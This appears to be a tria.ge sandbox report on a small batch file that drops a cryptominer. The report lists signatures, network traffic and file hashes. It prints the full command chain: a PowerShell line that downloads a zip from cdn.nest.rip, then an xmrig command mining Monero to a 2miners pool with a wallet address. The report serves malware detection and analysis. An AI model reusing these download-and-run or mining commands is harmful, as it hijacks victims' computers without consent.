Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1797s -
max time network
1799s -
platform
windows10-1703_x64 -
resource
win10-20230915-en -
resource tags
-
submitted
14/10/2023, 13:22 UTC
General
-
Target
tesy - Copy (11).bat
-
Size
702B
-
MD5
65f016a2abe40d2902c7032438a14bd7
-
SHA1
b3537668ca1bb826e5085aee38b3f7ec654d606e
-
SHA256
153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
-
SHA512
b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7
Malware Config
Extracted
https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip
Signatures
-
XMRig Miner payload 64 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Blocklisted process makes network request 1 IoCs
-
Executes dropped EXE 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exexmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
-
DNScdn.nest.ripRemote address:8.8.8.8:53Requestcdn.nest.ripIN AResponsecdn.nest.ripIN A172.67.129.25cdn.nest.ripIN A104.21.2.108 -
GEThttps://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zipRemote address:172.67.129.25:443RequestGET /uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip HTTP/1.1
Host: cdn.nest.rip
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Date: Sat, 14 Oct 2023 13:23:20 GMT
Content-Type: application/octet-stream
Content-Length: 3331403
Connection: keep-alive
Content-Disposition: filename="test.zip"
Content-Security-Policy: block-all-mixed-content
Etag: "3238c0d25d84b6f0bb645bbb29cdbf61"
Last-Modified: Fri, 13 Oct 2023 15:08:08 GMT
Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
Vary: Origin
X-Amz-Request-Id: 178DB35257C04E50
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
X-Amz-Meta-Originaluploader: 1805da94-c7b9-448d-b4b1-b34cd5b75d2b
Drive: SSD
CF-Cache-Status: HIT
Age: 4406
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LyEoZ5zC5UfE%2FciRXozTAH3dSwKwV1pyO6t4I%2FFgzKNgx88CFpvOnbAk7424FkHmZSlwRWRiKGyiipVTxT0Aqpv91i5wzM%2FtwT0LWRmqF87W49WMj7a3rKR1kdfIrFE%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 816022e6afb2b7ac-AMS
alt-svc: h3=":443"; ma=86400
-
DNS25.129.67.172.in-addr.arpaRemote address:8.8.8.8:53Request25.129.67.172.in-addr.arpaIN PTRResponse
-
DNSxmr.2miners.comRemote address:8.8.8.8:53Requestxmr.2miners.comIN AResponsexmr.2miners.comIN A162.19.139.184
-
DNS184.139.19.162.in-addr.arpaRemote address:8.8.8.8:53Request184.139.19.162.in-addr.arpaIN PTRResponse184.139.19.162.in-addr.arpaIN PTRp062minerscom
-
DNS13.227.111.52.in-addr.arpaRemote address:8.8.8.8:53Request13.227.111.52.in-addr.arpaIN PTRResponse
-
DNS136.71.105.51.in-addr.arpaRemote address:8.8.8.8:53Request136.71.105.51.in-addr.arpaIN PTRResponse
-
DNS240.221.184.93.in-addr.arpaRemote address:8.8.8.8:53Request240.221.184.93.in-addr.arpaIN PTRResponse
-
DNS126.20.238.8.in-addr.arpaRemote address:8.8.8.8:53Request126.20.238.8.in-addr.arpaIN PTRResponse
-
172.67.129.25:443https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.ziptls, http
HTTP Request
GET https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zipHTTP Response
200 -
162.19.139.184:2222xmr.2miners.com
-
8.8.8.8:53cdn.nest.ripdns
DNS Request
cdn.nest.rip
DNS Response
172.67.129.25104.21.2.108
-
8.8.8.8:5325.129.67.172.in-addr.arpadns
DNS Request
25.129.67.172.in-addr.arpa
-
8.8.8.8:53xmr.2miners.comdns
DNS Request
xmr.2miners.com
DNS Response
162.19.139.184
-
8.8.8.8:53184.139.19.162.in-addr.arpadns
DNS Request
184.139.19.162.in-addr.arpa
-
8.8.8.8:5313.227.111.52.in-addr.arpadns
DNS Request
13.227.111.52.in-addr.arpa
-
8.8.8.8:53136.71.105.51.in-addr.arpadns
DNS Request
136.71.105.51.in-addr.arpa
-
8.8.8.8:53240.221.184.93.in-addr.arpadns
DNS Request
240.221.184.93.in-addr.arpa
-
8.8.8.8:53126.20.238.8.in-addr.arpadns
DNS Request
126.20.238.8.in-addr.arpa
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5c02c6d73da38900f36f4fbd73b7648f4
SHA12b7bef4e56ef872387ab7ede6fb54478fa813a6d
SHA256abbca7b9f8043c915b26aa2600a14ca706c2fa1bd039c3130754f5b2f70122e7
SHA512ede821ff110ee79e76ed5332002c5614ab723e61c6e9617e60101b6f02d1f9be040e254fe492d4dfdb992762c93af20c50e5386debd2537fb7483a0ed663ded3
-
Filesize
1KB
MD5fe2d9164ee2543c102f8b8f3b47b8790
SHA194637fef7783907a26fee0421dcd58a1047afb77
SHA256b69559182a1b019ee2447a362fbef07e59cee5717f57004675e3f20263b28ab9
SHA5124ab8bbcbc3b00993ee594f9e8a8aa5f680291150cd010bb5b2d242cbb5a0249ed786657819bbdf018848b1041c2ccfc73c0871b91d63fa8e2e1375f8ddae2211
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
3.2MB
MD53238c0d25d84b6f0bb645bbb29cdbf61
SHA111ae550c8a82c0793862c366b92072ad7e18befe
SHA256b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb
SHA512d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556
-
Filesize
170B
MD578657df2e34e338ff135d3dde69177bf
SHA1d5048a4270b7ba599e941d26d61bfa2e8da31fce
SHA2569004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98
SHA512f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa
-
Filesize
72KB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
40KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
9.9MB
-
Filesize
472KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
9.9MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
256KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB